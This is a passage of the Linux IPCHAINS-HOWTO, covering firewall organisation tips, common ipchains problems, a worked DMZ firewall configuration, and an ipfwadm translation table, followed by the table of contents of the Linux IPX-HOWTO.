If a user-defined chain is found in the input, ipchains-restore checks if that chain already exists. If it does, then you will be prompted whether the chains should be flushed (cleared of all rules) or whether restoring this chain should be skipped. If you specified `-f' on the command line, you will not be prompted; the chain will be flushed.

For example:

# ipchains-restore < my_firewall
Restoring `input'.
Restoring `output'.
Restoring `forward'.
Restoring `ppp-in'.
Chain `ppp-in' already exists. Skip or flush? [S/f]? s
Skipping `ppp-in'.
Restoring `ppp-out'.
Chain `ppp-out' already exists. Skip or flush? [S/f]? f
Flushing `ppp-out'.
#


Linux IPCHAINS-HOWTO: Miscellaneous.

 Next Previous Contents

5. Miscellaneous.

This section contains all the information and FAQs that I couldn't fit inside the structure above.

5.1 How to Organize Your Firewall Rules

This question requires some thought. You can try to organize them to optimize speed (minimize the number of rule-checks for the most common packets) or to increase manageability.

If you have an intermittent link, say a PPP link, you might want to set the first rule in the input chain to be set to `-i ppp0 -j DENY' at boot time, then have something like this in your ip-up script:

# Re-create the `ppp-in' chain.
ipchains-restore -f < ppp-in.firewall

# Replace DENY rule with jump to ppp-handling chain.
ipchains -R input 1 -i ppp0 -j ppp-in

Your ip-down script would look like:

ipchains -R input 1 -i ppp0 -j DENY

5.2 What Not To Filter Out

There are some things you should be aware of before you start filtering out everything you don't want.

ICMP packets

ICMP packets are used (among other things) to indicate failure for other protocols (such as TCP and UDP). `destination-unreachable' packets in particular. Blocking these packets means that you will never get `Host unreachable' or `No route to host' errors; any connections will just wait for a reply that never comes. This is irritating, but rarely fatal.

A worse problem is the role of ICMP packets in MTU discovery. All good TCP implementations (Linux included) use MTU discovery to try to figure out what the largest packet that can get to a destination without being fragmented (fragmentation slows performance, especially when occasional fragments are lost). MTU discovery works by sending packets with the "Don't Fragment" bit set, and then sending smaller packets if it gets an ICMP packet indicating "Fragmentation needed but DF set" (`fragmentation-needed'). This is a type of `destination-unreachable' packet, and if it is never received, the local host will not reduce MTU, and performance will be abysmal or non-existent.

Note that it is common to block all ICMP redirect messages (type 5); these can be used to manipulate routing (although good IP stacks have safeguards), and so are often seen as slightly risky.

TCP Connections to DNS (nameservers)

If you're trying to block outgoing TCP connections, remember that DNS doesn't always use UDP; if the reply from the server exceeds 512 bytes, the client uses a TCP connection (still going to port number 53) to get the data.

This can be a trap because DNS will `mostly work' if you disallow such TCP transfers; you may experience strange long delays and other occasional DNS problems if you do.

If your DNS queries are always directed at the same external source (either directly by using the nameserver line in /etc/resolv.conf or by using a caching nameserver in forward mode), then you need only allow TCP connections to port domain on that nameserver from the local domain port (if using a caching nameserver) or from a high port (> 1023) if using /etc/resolv.conf.

FTP Nightmares

The classic packet filtering problem is FTP. FTP has two modes; the traditional one is called active mode and the more recent one is called passive mode. Web browsers usually default to passive mode, but command-line FTP programs usually default to active mode.

In active mode, when the remote end wants to send a file (or even the results of an ls or dir command) it tries to open a TCP connection to the local machine. This means you can't filter out these TCP connections without breaking active FTP.

If you have the option of using passive mode, then fine; passive mode makes data connections from client to server, even for incoming data. Otherwise, it is recommended that you only allow TCP connections to ports above 1024 and not between 6000 and 6010 (6000 is used for X-Windows).

5.3 Filtering out Ping of Death

Linux boxes are now immune to the famous Ping of Death, which involves sending an illegally-large ICMP packet which overflows buffers in the TCP stack on the receiver and causes havoc.

If you are protecting boxes which might be vulnerable, you could simply block ICMP fragments. Normal ICMP packets aren't large enough to require fragmentation, so you won't break anything except big pings. I have heard (unconfirmed) reports that some systems required only the last fragment of an oversize ICMP packet to corrupt them, so blocking only the first fragment is not recommended.

While the exploit programs I have seen all use ICMP, there is no reasons that TCP or UDP fragments (or an unknown protocol) could not be used for this attack, so blocking ICMP fragments is only a temporary solution.

5.4 Filtering out Teardrop and Bonk

Teardrop and Bonk are two attacks (mainly against Microsoft Windows NT machines) which rely on overlapping fragments. Having your Linux router do defragmentation, or disallowing all fragments to your vulnerable machines are the other options.

5.5 Filtering out Fragment Bombs

Some less-reliable TCP stacks are said to have problems dealing with large numbers of fragments of packets when they don't receive all the fragments. Linux does not have this problem. You can filter out fragments (which might break legitimate uses) or compile your kernel with `IP: always defragment' set to `Y' (only if your Linux box is the only possible route for these packets).

5.6 Changing Firewall Rules

There are some timing issues involved in altering firewall rules. If you are not careful, you can let packets through while you are half-way through your changes. A simplistic approach is to do the following:

# ipchains -I input 1 -j DENY
# ipchains -I output 1 -j DENY
# ipchains -I forward 1 -j DENY

... make changes ...

# ipchains -D input 1
# ipchains -D output 1
# ipchains -D forward 1
#

This drops all packets for the duration of the changes.

If your changes are restricted to a single chain, you might want to create a new chain with the new rules, and then replace (`-R') the rule that pointed to the old chain with one that points to the new chain: then you can delete the old chain. This replacement will occur atomically.

5.7 How Do I Set Up IP Spoof Protection?

IP spoofing is a technique where a host sends out packets which claim to be from another host. Since packet filtering makes decisions based on this source address, IP spoofing is uses to fool packet filters. It is also used to hide the identity of attackers using SYN attacks, Teardrop, Ping of Death and the like (don't worry if you don't know what they are).

The best way to protect from IP spoofing is called Source Address Verification, and it is done by the routing code, and not firewalling at all. Look for a file called /proc/sys/net/ipv4/conf/all/rp_filter. If this exists, then turning on Source Address Verification at every boot is the right solution for you. To do that, insert the following lines somewhere in your init scripts, before any network interfaces are initialized:

# This is the best method: turn on Source Address Verification and get
# spoof protection on all current and future interfaces.
if [ -e /proc/sys/net/ipv4/conf/all/rp_filter ]; then
  echo -n "Setting up IP spoofing protection..."
  for f in /proc/sys/net/ipv4/conf/*/rp_filter; do
      echo 1 > $f
  done
  echo "done."
else
  echo PROBLEMS SETTING UP IP SPOOFING PROTECTION.  BE WORRIED.
  echo "CONTROL-D will exit from this shell and continue system startup."
  echo
  # Start a single user shell on the console
  /sbin/sulogin $CONSOLE
fi

If you cannot do this, you can manually insert rules to protect every interface. This requires knowledge of each interface. The 2.1 kernels automatically reject packets claiming to come from the 127.* addresses (reserved for the local loopback interface, lo).

For example, say we have three interfaces, eth0, eth1 and ppp0. We can use ifconfig to tell us the address and netmask of the interfaces. Say eth0 was attached to a network 192.168.1.0 with netmask 255.255.255.0, eth1 was attached to a network 10.0.0.0 with netmask 255.0.0.0, and ppp0 connected to the Internet (where any address except the reserved private IP addresses are allowed), we would insert the following rules:

# ipchains -A input -i eth0 -s ! 192.168.1.0/255.255.255.0 -j DENY
# ipchains -A input -i ! eth0 -s 192.168.1.0/255.255.255.0 -j DENY
# ipchains -A input -i eth1 -s ! 10.0.0.0/255.0.0.0 -j DENY
# ipchains -A input -i ! eth1 -s 10.0.0.0/255.0.0.0 -j DENY
#

This approach is not as good as the Source Address Verification approach, because if your network changes, you have to change your firewalling rules to keep up.

If you are running a 2.0 series kernel, you might want to protect the loopback interface as well, using a rule like this:

# ipchains -A input -i ! lo -s 127.0.0.0/255.0.0.0 -j DENY
#

5.8 Advanced Projects

There is a userspace library I have written which is included with the source distribution called `libfw'. It uses the ability of IP Chains 1.3 and above to copy a packet to userspace (using the IP_FIREWALL_NETLINK config option).

The mark value can be used to specify the Quality of Service parameters for packets, or to specify how packets should be port-forwarded. I've never used either, but if you want to write about it, please contact me.

Things such as stateful inspection (I prefer the term dynamic firewalling) can be implemented in userspace using this library. Other nifty ideas include controlling packets on a per-user basis by doing a lookup in a userspace daemon. This should be pretty easy.

SPF: Stateful Packet Filtering

ftp://ftp.interlinx.bc.ca/pub/spf is the site of Brian Murrell's SPF project, which does connection tracking in userspace. It adds significant security for low-bandwidth sites.

There's little documentation at present, but here's a post to the mailing list in which Brian answered some questions:

> I believe it does exactly what I want: Installing a temporary
> "backward"-rule to let packets in as a response to an
> outgoing request.

Yup, that is exactly what it does.  The more protocols it
understands, the more "backward" rules it gets right.  Right
now it has support for (from memory, please excuse any errors
or omissions) FTP (both active and passive, in and out), some
RealAudio, traceroute, ICMP and basic ICQ (inbound from the ICQ
servers, and direct TCP connections, but alas the secondary
direct TCP connections for things like file transfer, etc. are
not there yet)

> Is it a replacement for ipchains or a supplement?

It is a supplement.  Think of ipchains as the engine to allow
and prevent packets from travelling across a Linux box.  SPF is
the driver, constantly monitoring traffic and telling ipchains
how to change it's policies to reflect the changes in traffic
patterns.

Michael Hasenstein's ftp-data hack

Michael Hasenstein of SuSE has written a kernel patch which adds ftp connection tracking to ipchains. It can currently be found at http://www.suse.de/~mha/patch.ftp-data-2.gz

5.9 Future Enhancements

Firewalling and NAT have being redesigned for 2.4. Plans and discussions are available on the netfilter list (see http://lists.samba.org). These enhancements should clear up many outstanding usability issues (really, firewalling and masquerading shouldn't be this hard), and allow growth for far more flexible firewalling.


Linux IPCHAINS-HOWTO: Common Problems

 Next Previous Contents

6. Common Problems

6.1 ipchains -L Freezes!

You're probably blocking DNS lookups; it will eventually time out. Try using the `-n' (numeric) flag to ipchains, which suppresses the lookup of names.

6.2 Inverse doesn't work!

You must put the `!' option by itself, with spaces either side. A classic mistake (warned about in 1.3.10) is:

# ipchains -A input -i !eth0 -j DENY
#

There will never be an interface called `!eth0', but ipchains doesn't know that.

6.3 Masquerading/Forwarding Doesn't Work!

Make sure that packet forwarding is enabled (in recent kernels it is disabled by default, meaning that packets never even try to traverse the `forward' chain). You can override this (as root) by typing

# echo 1 > /proc/sys/net/ipv4/ip_forward
#

If this works for you, you can put this somewhere in your bootup scripts so it is enabled every time; you'll want to set up your firewalling before this command runs though, otherwise there's an opportunity for packets to slip through.

6.4 -j REDIR doesn't work!

You must allow forwarding packets (see above) for redirect to work; otherwise the routing code drops the packet. So if you are just using redirect, and don't have any forwarding at all, you should be aware of that.

Note that REDIR (being in the input chain) doesn't effect connections from a local process.

6.5 Wildcard Interfaces Don't Work!

There was a bug in versions 2.1.102 and 2.1.103 of the kernel (and some old patches I produced) which made ipchains commands which specified a wildcard interface (such as -i ppp+) fail.

This is fixed in recent kernels, and in the 2.0.34 patch on the web site. You can also fix it by hand in the kernel source by changing line 63 or so in include/linux/ip_fw.h:

#define IP_FW_F_MASK    0x002F  /* All possible flag bits mask   */

This should read ``0x003F''. Fix this and recompile the kernel.

6.6 TOS Doesn't Work!

This was my mistake: setting the Type of Service field did not actually set the Type of Service in kernel versions 2.1.102 through 2.1.111. This problem was fixed in 2.1.112.

6.7 ipautofw and ipportfw Don't Work!

For 2.0.x, this is true; I haven't time to create and maintain a jumbo patch for ipchains and ipautofw/ipportfw.

For 2.1.x, download Juan Ciarlante's ipmasqadm from

<url url="http://juanjox.linuxhq.com/"
        name="http://juanjox.linuxhq.com/">
and use it exactly as you would have used ipautofw or ipportfw, except instead of ipportfw you type ipmasqadm portfw, and instead of ipautofw you type ipmasqadm autofw.

6.8 xosview is Broken!

Upgrade to version 1.6.0 or above, which doesn't require any firewall rules at all for 2.1.x kernels. This seems to have broken again in the 1.6.1 release; please bug the author (it's not my fault!).

6.9 Segmentation Fault With `-j REDIRECT'!

This was a bug in ipchains version 1.3.3. Please upgrade.

6.10 I Can't Set Masquerading Timeouts!

True (for 2.1.x kernels) up to 2.1.123. In 2.1.124, trying to set the masquerading timeouts causes a kernel lockup (change return to ret = on line 1328 of net/ipv4/ip_fw.c). In 2.1.125, it works fine.

6.11 I Want to Firewall IPX!

So do a number of others, it seems. My code only covers IP, unfortunately. On the good side, all the hooks are there to firewall IPX! You just need to write the code; I will happily help where possible.


Linux IPCHAINS-HOWTO: A Serious Example.

 Next Previous Contents

7. A Serious Example.

This example was extracted from Michael Neuling and my March 1999 LinuxWorld Tutorial; this is not the only way to solve the given problem, but it is probably the simplest. I hope you will find it informative.

7.1 The Arrangement

  • Masqueraded internal network (various operating systems), which we call "GOOD".
  • Exposed servers in a separate network (called "DMZ" for Demilitarized Zone).
  • PPP Connection to the Internet (called "BAD").

   External Network (BAD)
           |
           |
       ppp0|
    ---------------
    | 192.84.219.1|             Server Network (DMZ)
    |             |eth0
    |             |----------------------------------------------
    |             |192.84.219.250 |             |              |
    |             |               |             |              |
    |192.168.1.250|               |             |              |
    ---------------          --------       -------        -------
           | eth1            | SMTP |       | DNS |        | WWW |
           |                 --------       -------        -------
           |              192.84.219.128  192.84.219.129  192.84.218.130
           |
   Internal Network (GOOD)

7.2 Goals

Packet Filter box:

PING any network

This is really useful to tell if a machine is down.

TRACEROUTE any network

Once again, useful for diagnosis.

Access DNS

To make ping and DNS more useful.

Within the DMZ:

Mail server

  • SMTP to external
  • Accept SMTP from internal and external
  • Accept POP-3 from internal

Name Server

  • Send DNS to external
  • Accept DNS from internal, external and packet filter box

Web server

  • Accept HTTP from internal and external
  • Rsync access from internal

Internal:

Allow WWW, ftp, traceroute, ssh to external

These are fairly standard things to allow: some places start by allowing the internal machines to do just about everything, but here we're being restrictive.

Allow SMTP to Mail server

Obviously, we want them to be able to send mail out.

Allow POP-3 to Mail server

This is how they read their mail.

Allow DNS to Name server

They need to be able to look up external names for WWW, ftp, traceroute and ssh.

Allow rsync to Web server

This is how they synchronize the external web server with the internal one.

Allow WWW to Web server

Obviously, they should be able to connect to our external web server.

Allow ping to packet filter box

This is a courteous thing to allow: it means that they can test if the firewall box is down (so we don't get blamed if an external site is broken).

7.3 Before Packet Filtering

  • Anti-spoofing

    Since we don't have any asymmetric routing, we can simply turn on anti-spoofing for all interfaces.

    # for f in /proc/sys/net/ipv4/conf/*/rp_filter; do echo 1 > $f; done
#

  • Set filtering rules to DENY all:

    We still allow local loopback traffic, but deny anything else.

    # ipchains -A input -i ! lo -j DENY
# ipchains -A output -i ! lo -j DENY
# ipchains -A forward -j DENY
#

  • Set Up Interfaces

    This is usually done in the boot scripts. Make sure the above steps are done before the interfaces are configured, to prevent packet leakage before the rules are set up.

  • Insert per-protocol masquerading modules.

    We need to insert the masquerading module for FTP, so that active and passive FTP `just work' from the internal network.

    # insmod ip_masq_ftp
#

7.4 Packet Filtering for Through Packets

With masquerading, it's best to filter in the forward chain.

Split forward chain into various user chains depending on source/dest interfaces; this breaks the problem down into managable chunks.

ipchains -N good-dmz
ipchains -N bad-dmz
ipchains -N good-bad
ipchains -N dmz-good
ipchains -N dmz-bad
ipchains -N bad-good

ACCEPTing standard error ICMPs is a common thing to do, so we create a chain for it.

ipchains -N icmp-acc

Set Up Jumps From forward Chain

Unfortunately, we only know (in the forward chain) the outgoing interface. Thus, to figure out what interface the packet came in on, we use the source address (the anti-spoofing prevents address faking).

Note that we log anything which doesn't match any of these (obviously, this should never happen).

ipchains -A forward -s 192.168.1.0/24 -i eth0 -j good-dmz
ipchains -A forward -s 192.168.1.0/24 -i ppp0 -j good-bad
ipchains -A forward -s 192.84.219.0/24 -i ppp0 -j dmz-bad
ipchains -A forward -s 192.84.219.0/24 -i eth1 -j dmz-good
ipchains -A forward -i eth0 -j bad-dmz
ipchains -A forward -i eth1 -j bad-good
ipchains -A forward -j DENY -l

Define the icmp-acc Chain

Packets which are one of the error ICMPs get ACCEPTed, otherwise, control will pass back to the calling chain.

ipchains -A icmp-acc -p icmp --icmp-type destination-unreachable -j ACCEPT
ipchains -A icmp-acc -p icmp --icmp-type source-quench -j ACCEPT
ipchains -A icmp-acc -p icmp --icmp-type time-exceeded -j ACCEPT
ipchains -A icmp-acc -p icmp --icmp-type parameter-problem -j ACCEPT

Good (Internal) to DMZ (Servers)

Internal restrictions:

  • Allow WWW, ftp, traceroute, ssh to external
  • Allow SMTP to Mail server
  • Allow POP-3 to Mail server
  • Allow DNS to Name server
  • Allow rsync to Web server
  • Allow WWW to Web server
  • Allow ping to packet filter box

Could do masquerading from internal network into DMZ, but here we don't. Since noone in the internal network should be trying to do evil things, we log any packets that get denied.

Note that old versions of Debian called `pop3' `pop-3' in /etc/services, which disagrees with RFC1700.

ipchains -A good-dmz -p tcp -d 192.84.219.128 smtp -j ACCEPT
ipchains -A good-dmz -p tcp -d 192.84.219.128 pop3 -j ACCEPT
ipchains -A good-dmz -p udp -d 192.84.219.129 domain -j ACCEPT
ipchains -A good-dmz -p tcp -d 192.84.219.129 domain -j ACCEPT
ipchains -A good-dmz -p tcp -d 192.84.218.130 www -j ACCEPT
ipchains -A good-dmz -p tcp -d 192.84.218.130 rsync -j ACCEPT
ipchains -A good-dmz -p icmp -j icmp-acc
ipchains -A good-dmz -j DENY -l

Bad (external) to DMZ (servers).

  • DMZ restrictions:
    • Mail server
      • SMTP to external
      • Accept SMTP from internal and external
      • Accept POP-3 from internal
    • Name server
      • Send DNS to external
      • Accept DNS from internal, external and packet filter box
    • Web server
      • Accept HTTP from internal and external
      • Rsync access from internal
  • Things we allow from external network to DMZ.
    • Don't log violations, as they may happen.
    ipchains -A bad-dmz -p tcp -d 192.84.219.128 smtp -j ACCEPT
ipchains -A bad-dmz -p udp -d 192.84.219.129 domain -j ACCEPT
ipchains -A bad-dmz -p tcp -d 192.84.219.129 domain -j ACCEPT
ipchains -A bad-dmz -p tcp -d 192.84.218.130 www -j ACCEPT
ipchains -A bad-dmz -p icmp -j icmp-acc
ipchains -A bad-dmz -j DENY

Good (internal) to Bad (external).

  • Internal restrictions:
    • Allow WWW, ftp, traceroute, ssh to external
    • Allow SMTP to Mail server
    • Allow POP-3 to Mail server
    • Allow DNS to Name server
    • Allow rsync to Web server
    • Allow WWW to Web server
    • Allow ping to packet filter box
  • Many people allow everything from the internal to external networks, then add restrictions. We're being fascist.
    • Log violations.
    • Passive FTP handled by masq. module.
    • UDP destination ports 33434 and up are used by traceroute.
    ipchains -A good-bad -p tcp --dport www -j MASQ
ipchains -A good-bad -p tcp --dport ssh -j MASQ
ipchains -A good-bad -p udp --dport 33434:33500 -j MASQ
ipchains -A good-bad -p tcp --dport ftp -j MASQ
ipchains -A good-bad -p icmp --icmp-type ping -j MASQ
ipchains -A good-bad -j REJECT -l

DMZ to Good (internal).

  • Internal restrictions:
    • Allow WWW, ftp, traceroute, ssh to external
    • Allow SMTP to Mail server
    • Allow POP-3 to Mail server
    • Allow DNS to Name server
    • Allow rsync to Web server
    • Allow WWW to Web server
    • Allow ping to packet filter box
  • If we were masquerading from the internal network to the DMZ, simply refuse any packets coming the other way. As it is, only allow packets which might be part of an established connection.
    ipchains -A dmz-good -p tcp ! -y -s 192.84.219.128 smtp -j ACCEPT
ipchains -A dmz-good -p udp -s 192.84.219.129 domain -j ACCEPT
ipchains -A dmz-good -p tcp ! -y -s 192.84.219.129 domain -j ACCEPT
ipchains -A dmz-good -p tcp ! -y -s 192.84.218.130 www -j ACCEPT
ipchains -A dmz-good -p tcp ! -y -s 192.84.218.130 rsync -j ACCEPT
ipchains -A dmz-good -p icmp -j icmp-acc
ipchains -A dmz-good -j DENY -l

DMZ to bad (external).

  • DMZ restrictions:
    • Mail server
      • SMTP to external
      • Accept SMTP from internal and external
      • Accept POP-3 from internal
    • Name server
      • Send DNS to external
      • Accept DNS from internal, external and packet filter box
    • Web server
      • Accept HTTP from internal and external
      • Rsync access from internal
  • ipchains -A dmz-bad -p tcp -s 192.84.219.128 smtp -j ACCEPT
ipchains -A dmz-bad -p udp -s 192.84.219.129 domain -j ACCEPT
ipchains -A dmz-bad -p tcp -s 192.84.219.129 domain -j ACCEPT
ipchains -A dmz-bad -p tcp ! -y -s 192.84.218.130 www -j ACCEPT
ipchains -A dmz-bad -p icmp -j icmp-acc
ipchains -A dmz-bad -j DENY -l

Bad (external) to Good (internal).

  • We don't allow anything (non-masqueraded) from the external network to the internal network
    ipchains -A bad-good -j REJECT

Packet Filtering for the Linux Box Itself

  • If we want to use packet filtering on packets coming into the box itself, we need to do filtering in the input chain. We create one chain for each destination interface:
    ipchains -N bad-if
ipchains -N dmz-if
ipchains -N good-if
  • Create jumps to them:
    ipchains -A input -d 192.84.219.1 -j bad-if
ipchains -A input -d 192.84.219.250 -j dmz-if
ipchains -A input -d 192.168.1.250 -j good-if

Bad (external) interface.

  • Packet Filter box:
    • PING any network
    • TRACEROUTE any network
    • Access DNS
  • External interface also receives replies to masqueraded packets (masquerading uses source ports 61000 to 65095) and ICMP errors for them and PING replies.
    ipchains -A bad-if -i ! ppp0 -j DENY -l
ipchains -A bad-if -p TCP --dport 61000:65095 -j ACCEPT
ipchains -A bad-if -p UDP --dport 61000:65095 -j ACCEPT
ipchains -A bad-if -p ICMP --icmp-type pong -j ACCEPT
ipchains -A bad-if -j icmp-acc
ipchains -A bad-if -j DENY

DMZ interface.

  • Packet Filter box restrictions:
    • PING any network
    • TRACEROUTE any network
    • Access DNS
  • DMZ interface receives DNS replies, ping replies and ICMP errors.
    ipchains -A dmz-if -i ! eth0 -j DENY
ipchains -A dmz-if -p TCP ! -y -s 192.84.219.129 53 -j ACCEPT
ipchains -A dmz-if -p UDP -s 192.84.219.129 53 -j ACCEPT
ipchains -A dmz-if -p ICMP --icmp-type pong -j ACCEPT
ipchains -A dmz-if -j icmp-acc
ipchains -A dmz-if -j DENY -l

Good (internal) interface.

  • Packet Filter box restrictions:
    • PING any network
    • TRACEROUTE any network
    • Access DNS
  • Internal restrictions:
    • Allow WWW, ftp, traceroute, ssh to external
    • Allow SMTP to Mail server
    • Allow POP-3 to Mail server
    • Allow DNS to Name server
    • Allow rsync to Web server
    • Allow WWW to Web server
    • Allow ping to packet filter box
  • Internal interface receives pings, ping replies and ICMP errors.
    ipchains -A good-if -i ! eth1 -j DENY
ipchains -A good-if -p ICMP --icmp-type ping -j ACCEPT
ipchains -A good-if -p ICMP --icmp-type pong -j ACCEPT
ipchains -A good-if -j icmp-acc
ipchains -A good-if -j DENY -l

7.5 Finally

  • Delete blocking rules:
    ipchains -D input 1
ipchains -D forward 1
ipchains -D output 1


Linux IPCHAINS-HOWTO: Appendix: Differences between ipchains and ipfwadm.

 Next Previous Contents

8. Appendix: Differences between ipchains and ipfwadm.

Some of these changes are a result of kernel changes, and some a result of ipchains being different from ipfwadm.

  1. Many arguments have been remapped: capitals now indicates a command, and lower case now indicates an option.
  2. Arbitrary chains are supported, so even built-in chains have full names instead of flags (eg. `input' instead of `-I').
  3. The `-k' option has vanished: use `! -y'.
  4. The `-b' option actually inserts/appends/deletes two rules, rather than a single `bidirectional' rule.
  5. The `-b' option can be passed to `-C' to do two checks (one in each direction).
  6. The `-x' option to `-l' has been replaced by `-v'.
  7. Multiple source and destination ports are not supported anymore. Hopefully being able to negate the port range will somewhat make up for that.
  8. Interfaces can only be specified by name (not address). The old semantics got silently changed in the 2.1 kernel series anyway.
  9. Fragments are examined, not automatically allowed through.
  10. Explicit accounting chains have been done away with.
  11. Arbitrary protocols over IP can be tested for.
  12. The old behavior of SYN and ACK matching (which was previously ignored for non-TCP packets) has changed; the SYN option is not valid for non-TCP-specific rules.
  13. Counters are now 64-bit on 32-bit machines, not 32-bit.
  14. Inverse options are now supported.
  15. ICMP codes are now supported.
  16. Wildcard interfaces are now supported.
  17. TOS manipulations are now sanity-checked: the old kernel code would silently stop you from (illegally) manipulating the `Must Be Zero' TOS bit; ipchains now returns an error if you try, as well as for other illegal cases.

8.1 Quick-Reference table.

[ Mainly, command arguments are UPPER CASE, and option arguments are lower case ]

One thing to note, masquerading is specified by `-j MASQ'; it is completely different from `-j ACCEPT', and not treated as merely a side-effect, unlike ipfwadm does.

================================================================
| ipfwadm      | ipchains              | Notes
----------------------------------------------------------------
| -A [both]    | -N acct               | Create an `acct' chain
|              |& -I 1 input -j acct   | and have output and input
|              |& -I 1 output -j acct  | packets traverse it.
|              |& acct                 |
----------------------------------------------------------------
| -A in        | input                 | A rule with no target
----------------------------------------------------------------
| -A out       | output                | A rule with no target
----------------------------------------------------------------
| -F           | forward               | Use this as [chain].
----------------------------------------------------------------
| -I           | input                 | Use this as [chain].
----------------------------------------------------------------
| -O           | output                | Use this as [chain].
----------------------------------------------------------------
| -M -l        | -M -L                 |
----------------------------------------------------------------
| -M -s        | -M -S                 |
----------------------------------------------------------------
| -a policy    | -A [chain] -j POLICY  | (but see -r and -m).
----------------------------------------------------------------
| -d policy    | -D [chain] -j POLICY  | (but see -r and -m).
----------------------------------------------------------------
| -i policy    | -I 1 [chain] -j POLICY| (but see -r and -m).
----------------------------------------------------------------
| -l           | -L                    |
----------------------------------------------------------------
| -z           | -Z                    |
----------------------------------------------------------------
| -f           | -F                    |
----------------------------------------------------------------
| -p           | -P                    |
----------------------------------------------------------------
| -c           | -C                    |
----------------------------------------------------------------
| -P           | -p                    |
----------------------------------------------------------------
| -S           | -s                    | Only takes one port or
|              |                       | range, not multiples.
----------------------------------------------------------------
| -D           | -d                    | Only takes one port or
|              |                       | range, not multiples.
----------------------------------------------------------------
| -V           | <none>                | Use -i [name].
----------------------------------------------------------------
| -W           | -i                    |
----------------------------------------------------------------
| -b           | -b                    | Now actually makes 2 rules.
----------------------------------------------------------------
| -e           | -v                    |
----------------------------------------------------------------
| -k           | ! -y                  | Doesn't work unless
|              |                       | -p tcp also specified.
----------------------------------------------------------------
| -m           | -j MASQ               |
----------------------------------------------------------------
| -n           | -n                    |
----------------------------------------------------------------
| -o           | -l                    |
----------------------------------------------------------------
| -r [redirpt] | -j REDIRECT [redirpt] |
----------------------------------------------------------------
| -t           | -t                    |
----------------------------------------------------------------
| -v           | -v                    |
----------------------------------------------------------------
| -x           | -x                    |
----------------------------------------------------------------
| -y           | -y                    | Doesn't work unless
|              |                       | -p tcp also specified.
----------------------------------------------------------------

8.2 Examples of translated ipfwadm commands

Old command: ipfwadm -F -p deny

New command: ipchains -P forward DENY

Old command: ipfwadm -F -a m -S 192.168.0.0/24 -D 0.0.0.0/0

New command: ipchains -A forward -j MASQ -s 192.168.0.0/24 -d 0.0.0.0/0

Old command: ipfwadm -I -a accept -V 10.1.2.1 -S 10.0.0.0/8 -D 0.0.0.0/0

New command: ipchains -A input -j ACCEPT -i eth0 -s 10.0.0.0/8 -d 0.0.0.0/0

(Note that there is no equivalent for specifying interfaces by address: use the interface name. On this machine, 10.1.2.1 corresponds to eth0).


Linux IPCHAINS-HOWTO: Appendix: Using the ipfwadm-wrapper script.

 Next Previous Contents

9. Appendix: Using the ipfwadm-wrapper script.

The ipfwadm-wrapper shell script should be a plug-in replacement of ipfwadm for backwards compatibility with ipfwadm 2.3a.

The only feature it can't really handle is the `-V' option. When this is used, a warning is given. If the `-W' option is also used, the `-V' option is ignored. Otherwise, the script tries to find the interface name associated with that address, using ifconfig. If that fails (such as for an interface which is down) then it will exit with an error message.

This warning can be suppressed by either changing the `-V' to a `-W', or directing the standard output of the script to /dev/null.

If you should find any mistakes in this script, or any changes between the real ipfwadm and this script, please report a bug to me: send an EMail to rusty@linuxcare.com with "BUG-REPORT" in the subject. Please list your old version of ipfwadm (ipfwadm -h), your version of ipchains (ipchains --version), the version of the ipfwadm wrapper script (ipfwadm-wrapper --version). Also send the output of ipchains-save. Thanks in advance.

Mix ipchains with this ipfwadm-wrapper script at your own peril.


Linux IPCHAINS-HOWTO: Appendix: Thanks.

 Next Previous Contents

10. Appendix: Thanks.

Many thanks have to go to Michael Neuling, who wrote the first releasable cut of the IP chains code while working for me. Public apologies for nixing his result-caching idea, which Alan Cox later proposed and I have finally begun implementing, having seen the error of my ways.

Thanks to Alan Cox for his 24-hour EMail tech support, and encouragement.

Thanks to all the authors of the ipfw and ipfwadm code, especially Jos Vos. Standing on the shoulders of giants and all that... This applies to Linus Torvalds and all the kernel and userspace hackers as well.

Thanks to the diligent beta testers and bughunters, especially Jordan Mendelson, Shaw Carruthers, Kevin Moule, Dr. Liviu Daia, Helmut Adams, Franck Sicard, Kevin Littlejohn, Matt Kemner, John D. Hardin, Alexey Kuznetsov, Leos Bitto, Jim Kunzman, Gerard Gerritsen, Serge Sivkov, Andrew Burgess, Steve Schmidtke, Richard Offer, Bernhard Weisshuhn, Larry Auton, Ambrose Li, Pavel Krauz, Steve Chadsey, Francesco Potorti`, Alain Knaff, Casper Boden-Cummins and Henry Hollenberg.

10.1 Translations

People who do translations should put themselves at the top of the Thanks page, like so: `Special thanks to XXX, for translating everything exactly from my English.'. Then tell me about your translation so I can include it here.

Arnaud Launay, asl@launay.org: http://www.freenix.fr/unix/linux/HOWTO/IPCHAINS-HOWTO.html

Giovanni Bortolozzo, borto@pluto.linux.it: http://www.pluto.linux.it/ildp/HOWTO/IPCHAINS-HOWTO.html

Herman Rodríguez, herman@maristas.dhis.org: http://netfilter.kernelnotes.org/ipchains/spanish/HOWTO.html


Linux IPX-HOWTO

Kevin Thorpe, kevin@pricetrak.com

v2.3, 06 May 1998

This document aims to describe how to obtain, install and configure various tools available for the the Linux operating system that use the Linux kernel IPX protocol support.

1. Introduction.

  • 1.1 Changes from the previous release.
  • 1.2 Introduction.

2. Disclaimer.

3. Related Documentation.

  • 3.1 New versions of this document.
  • 3.2 Feedback.
  • 3.3 Mailing list support.

4. Some of the terms used in this document.

5. A brief discussion of IPX network topology

6. The IPX related files in the /proc filesystem.

7. Greg Pages IPX tools.

  • 7.1 The IPX tools in more detail.

8. Configuring your Linux machine as an IPX router.

  • 8.1 Do I need to configure an internal network ?

9. Configuring your Linux machine as an NCP client.

  • 9.1 Obtaining ncpfs.
  • 9.2 Building ncpfs for kernel 1.2.13.
  • 9.3 Building ncpfs for kernels 1.3.71++/2.0.*.
  • 9.4 Configuring and using ncpfs.

10. Configuring your Linux machine as an NCP server.

  • 10.1 The mars_nwe package.
  • 10.2 The lwared package.

11. Configuring your Linux machine as a Novell Print Client.

12. Configuring your Linux machine as a Novell Print Server.

  • 12.1 Prerequisites
  • 12.2 Configuration

13. An overview of the ncpfs user and adminstration commands

  • 13.1 User commands.
  • 13.2 Administration tools.

14. Configuring PPP for IPX support.

  • 14.1 Configuring an IPX/PPP server.
  • 14.2 Configuring an IPX/PPP client.

15. IPX tunnel over IP

  • 15.1 Obtaining ipxtunnel
  • 15.2 Building ipxtunnel
  • 15.3 Configuring ipxtunnel
  • 15.4 Testing and using ipxtunnel

16. Commercial IPX support for Linux.

  • 16.1 Caldera'a Network Desktop

17. Some Frequently Asked Questions

18. Copyright Message.

19. Miscellaneous and Acknowledgements.


